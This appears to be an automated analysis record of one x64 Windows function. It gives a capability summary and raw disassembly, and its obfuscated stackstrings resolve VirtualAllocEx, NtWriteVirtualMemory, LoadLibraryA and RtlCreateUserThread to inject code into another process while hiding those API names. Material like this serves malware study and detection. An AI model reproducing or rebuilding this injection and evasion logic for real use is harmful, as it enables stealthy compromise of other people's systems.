Function at 0x69d46e20
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push r15
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
sub rsp, 0xc8
mov r12, rcx
mov rcx, rdx
mov dword [rsp + 0x6c], 0
mov r13, rdx
call sub.msvcrt.dll_strlen
lea rbx, [rsp + 0xb0]
mov ecx, 0x7845
lea rsi, [rsp + 0x90]
mov r14, rax
mov word [rsp + 0x9c], cx
movabs rax, 0x32336c656e72656b
mov rbp, qword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov qword [rsp + 0xb0], rax
mov rcx, rbx
movabs rax, 0x416c617574726956
mov qword [rsp + 0x70], 0
mov qword [rsp + 0xa0], rbx
mov dword [rsp + 0xb8], 0x6c6c642e
mov qword [rsp + 0xa8], 0xc
mov byte [rsp + 0xbc], 0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x98], 0x636f6c6c
mov qword [rsp + 0x88], 0xe
mov byte [rsp + 0x9e], 0
call rbp
mov rcx, rax
test rax, rax
je 0x69d47590
mov rdx, qword [rsp + 0x80]
mov rdi, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rdi
test rax, rax
je 0x69d4778f
mov dword [rsp + 0x20], 4
mov r8d, r14d
xor edx, edx
mov rcx, r12
mov r9d, 0x1000
call rax
mov rcx, qword [rsp + 0x80]
mov qword [rsp + 0x50], rax
cmp rcx, rsi
je 0x69d46f45
call fcn.69dfe2a0
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x69d46f57
call fcn.69dfe2a0
lea rcx, str.NtWriteVirtualMemory
call fcn.69d48060
mov rdx, qword [rsp + 0x50]
mov rcx, r12
mov r9d, r14d
mov qword [rsp + 0x20], 0
mov r8, r13
call fcn.69d47f00
mov qword [rsp + 0xa0], rbx
mov rcx, rbx
movabs rax, 0x32336c656e72656b
mov qword [rsp + 0xb0], rax
movabs rax, 0x7262694c64616f4c
mov dword [rsp + 0xb8], 0x6c6c642e
mov qword [rsp + 0xa8], 0xc
mov byte [rsp + 0xbc], 0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x98], 0x41797261
mov qword [rsp + 0x88], 0xc
mov byte [rsp + 0x9c], 0
call rbp
mov rcx, rax
test rax, rax
je 0x69d475b0
mov rdx, qword [rsp + 0x80]
call rdi
mov qword [rsp + 0x58], rax
test rax, rax
je 0x69d47750
mov rcx, qword [rsp + 0x80]
cmp rcx, rsi
je 0x69d4702c
call fcn.69dfe2a0
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x69d4703e
call fcn.69dfe2a0
lea r14, [rsp + 0x80]
lea r15, [rsp + 0x78]
xor r8d, r8d
movabs rax, 0x6c642e6c6c64746e
mov rdx, r15
mov rcx, r14
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rax
mov byte [rsp + 0xb8], 0x6c
mov qword [rsp + 0xa8], 9
mov byte [rsp + 0xb9], 0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x78], 0x13
call fcn.69deb030
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x80], rax
movabs rcx, 0x7268547265735565
mov qword [rsp + 0x90], rdx
movabs rdx, 0x74616572436c7452
mov qword [rax], rdx
mov edx, 0x6165
mov qword [rax + 8], rcx
mov word [rax + 0x10], dx
mov byte [rax + 0x12], 0x64
mov rax, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
mov qword [rsp + 0x88], rax
mov byte [rdx + rax], 0
mov rcx, qword [rsp + 0xa0]
call rbp
mov rcx, rax
test rax, rax
je 0x69d475d0
mov rdx, qword [rsp + 0x80]
call rdi
test rax, rax
je 0x69d47706
lea rdx, [rsp + 0x70]
xor r9d, r9d
xor r8d, r8d
mov rcx, r12
mov qword [rsp + 0x40], rdx
mov rdx, qword [rsp + 0x50]
mov qword [rsp + 0x48], 0
mov qword [rsp + 0x38], rdx
mov rdx, qword [rsp + 0x58]
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x30], rdx
xor edx, edx
mov qword [rsp + 0x20], 0
call rax
mov rcx, qword [rsp + 0x80]
cmp rcx, rsi
je 0x69d47177
call fcn.69dfe2a0
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x69d47189
call fcn.69dfe2a0
cmp qword [rsp + 0x70], 0
je 0x69d476d4
movabs rax, 0x32336c656e72656b
xor r8d, r8d
mov rdx, r15
mov rcx, r14
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xb8], 0x6c6c642e
mov qword [rsp + 0xa8], 0xc
mov byte [rsp + 0xbc], 0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x78], 0x15
call fcn.69deb030
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x80], rax
movabs rcx, 0x6a624f656c676e69
mov qword [rsp + 0x90], rdx
movabs rdx, 0x53726f4674696157
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov dword [rax + 0x10], 0x45746365
mov byte [rax + 0x14], 0x78
mov rax, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
mov qword [rsp + 0x88], rax
mov byte [rdx + rax], 0
mov rcx, qword [rsp + 0xa0]
call rbp
mov rcx, rax
test rax, rax
je 0x69d475f0
mov rdx, qword [rsp + 0x80]
call rdi
test rax, rax
je 0x69d477cb
mov rcx, qword [rsp + 0x70]
mov r8d, 1
mov edx, 0xffffffff
call rax
mov rcx, qword [rsp + 0x80]
cmp rcx, rsi
je 0x69d4728e
call fcn.69dfe2a0
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x69d472a0
call fcn.69dfe2a0
movabs rax, 0x32336c656e72656b
xor r8d, r8d
mov rdx, r15
mov rcx, r14
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rax
mov dword [rsp + 0xb8], 0x6c6c642e
mov qword [rsp + 0xa8], 0xc
mov byte [rsp + 0xbc], 0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x78], 0x11
call fcn.69deb030
mov rdx, qword [rsp + 0x78]
mov qword [rsp + 0x80], rax
movabs rcx, 0x616572685465646f
mov qword [rsp + 0x90], rdx
movabs rdx, 0x4374697845746547
mov qword [rax], rdx
mov qword [rax + 8], rcx
mov byte [rax + 0x10], 0x64
mov rax, qword [rsp + 0x78]
mov rdx, qword [rsp + 0x80]
mov qword [rsp + 0x88], rax
mov byte [rdx + rax], 0
mov rcx, qword [rsp + 0xa0]
call rbp
mov rcx, rax
test rax, rax
je 0x69d47610
mov rdx, qword [rsp + 0x80]
call rdi
test rax, rax
je 0x69d47666
mov rcx, qword [rsp + 0x70]
lea rdx, [rsp + 0x6c]
call rax
mov rcx, qword [rsp + 0x80]
mov r14d, eax
cmp rcx, rsi
je 0x69d4738f
call fcn.69dfe2a0
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x69d473a1
call fcn.69dfe2a0
test r14d, r14d
je 0x69d478b6
mov r8d, dword [rsp + 0x6c]
mov rdx, r13
mov rcx, r12
call fcn.69d46310
mov r13, rax
test rax, rax
je 0x69d47886
movabs rax, 0x32336c656e72656b
mov rcx, rbx
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rax
movabs rax, 0x466c617574726956
mov dword [rsp + 0xb8], 0x6c6c642e
mov qword [rsp + 0xa8], 0xc
mov byte [rsp + 0xbc], 0
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x90], rax
mov dword [rsp + 0x98], 0x45656572
mov byte [rsp + 0x9c], 0x78
mov qword [rsp + 0x88], 0xd
mov byte [rsp + 0x9d], 0
call rbp
mov rcx, rax
test rax, rax
je 0x69d47630
mov rdx, qword [rsp + 0x80]
call rdi
test rax, rax
je 0x69d4780e
mov rdx, qword [rsp + 0x50]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r12
call rax
mov rcx, qword [rsp + 0x80]
cmp rcx, rsi
je 0x69d47489
call fcn.69dfe2a0
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x69d4749b
call fcn.69dfe2a0
movabs rax, 0x32336c656e72656b
mov rcx, rbx
mov qword [rsp + 0xa0], rbx
mov qword [rsp + 0xb0], rax
movabs rax, 0x74616e696d726554
mov qword [rsp + 0x90], rax
mov eax, 0x6165
mov dword [rsp + 0xb8], 0x6c6c642e
mov qword [rsp + 0xa8], 0xc
mov byte [rsp + 0xbc], 0
mov qword [rsp + 0x80], rsi
mov dword [rsp + 0x98], 0x72685465
mov word [rsp + 0x9c], ax
mov byte [rsp + 0x9e], 0x64
mov qword [rsp + 0x88], 0xf
mov byte [rsp + 0x9f], 0
call rbp
mov rcx, rax
test rax, rax
je 0x69d47650
mov rdx, qword [rsp + 0x80]
call rdi
test rax, rax
je 0x69d4784a
mov rcx, qword [rsp + 0x70]
xor edx, edx
call rax
mov rcx, qword [rsp + 0x80]
cmp rcx, rsi
je 0x69d47561
call fcn.69dfe2a0
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x69d47573
call fcn.69dfe2a0
mov rax, r13
add rsp, 0xc8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x69d46efc
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x69d47002
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x69d4710c
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x69d47257
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x69d4735b
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x69d47451
mov rcx, qword [rsp + 0xa0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov rcx, rax
jmp 0x69d47533
mov ecx, 0x10
call fcn.69dfe3d0
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.69dd8a80
lea r8, [fcn.69dd8bb0]
lea rdx, [0x69e0c5e0]
mov rcx, r13
call fcn.69dfebf0
mov r12, rax
mov rcx, qword [rsp + 0xa0]
cmp rcx, rbx
je 0x69d476ad
call fcn.69dfe2a0
mov rcx, r12
call fcn.69d5c710
mov rcx, r13
mov r12, rax
call fcn.69dfe720
mov rcx, qword [rsp + 0x80]
cmp rcx, rsi
je 0x69d4769b
call fcn.69dfe2a0
jmp 0x69d4769b
mov ecx, 0x10
call fcn.69dfe3d0
lea rdx, str.rtlThread_error
mov rcx, rax
mov r12, rax
call fcn.69dd8a80
lea r8, [fcn.69dd8bb0]
lea rdx, [0x69e0c5e0]
mov rcx, r12
call fcn.69dfebf0
mov ecx, 0x10
call fcn.69dfe3d0
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.69dd8a80
lea r8, [fcn.69dd8bb0]
lea rdx, [0x69e0c5e0]
mov rcx, r13
call fcn.69dfebf0
mov r13, rax
mov rcx, r12
call fcn.69dfe720
mov rcx, r13
call fcn.69d5c710
jmp 0x69d476b5
mov ecx, 0x10
call fcn.69dfe3d0
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.69dd8a80
lea r8, [fcn.69dd8bb0]
lea rdx, [0x69e0c5e0]
mov rcx, r13
call fcn.69dfebf0
mov r12, rax
jmp 0x69d476c0
mov ecx, 0x10
call fcn.69dfe3d0
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.69dd8a80
lea r8, [fcn.69dd8bb0]
lea rdx, [0x69e0c5e0]
mov rcx, r13
call fcn.69dfebf0
jmp 0x69d47698
mov ecx, 0x10
call fcn.69dfe3d0
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.69dd8a80
lea r8, [fcn.69dd8bb0]
lea rdx, [0x69e0c5e0]
mov rcx, r13
call fcn.69dfebf0
jmp 0x69d47782
mov ecx, 0x10
call fcn.69dfe3d0
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.69dd8a80
lea r8, [fcn.69dd8bb0]
lea rdx, [0x69e0c5e0]
mov rcx, r13
call fcn.69dfebf0
jmp 0x69d47782
mov ecx, 0x10
call fcn.69dfe3d0
lea rdx, str.Invalid_API
mov rcx, rax
mov r13, rax
call fcn.69dd8a80
lea r8, [fcn.69dd8bb0]
lea rdx, [0x69e0c5e0]
mov rcx, r13
call fcn.69dfebf0
jmp 0x69d47782
mov ecx, 0x10
call fcn.69dfe3d0
lea rdx, str.invalid_parse_remote
mov rcx, rax
mov r12, rax
call fcn.69dd8a80
jmp 0x69d476f0
mov ecx, 0x10
call fcn.69dfe3d0
lea rdx, str.invalid_parse_remote
mov rcx, rax
mov r12, rax
call fcn.69dd8a80
jmp 0x69d476f0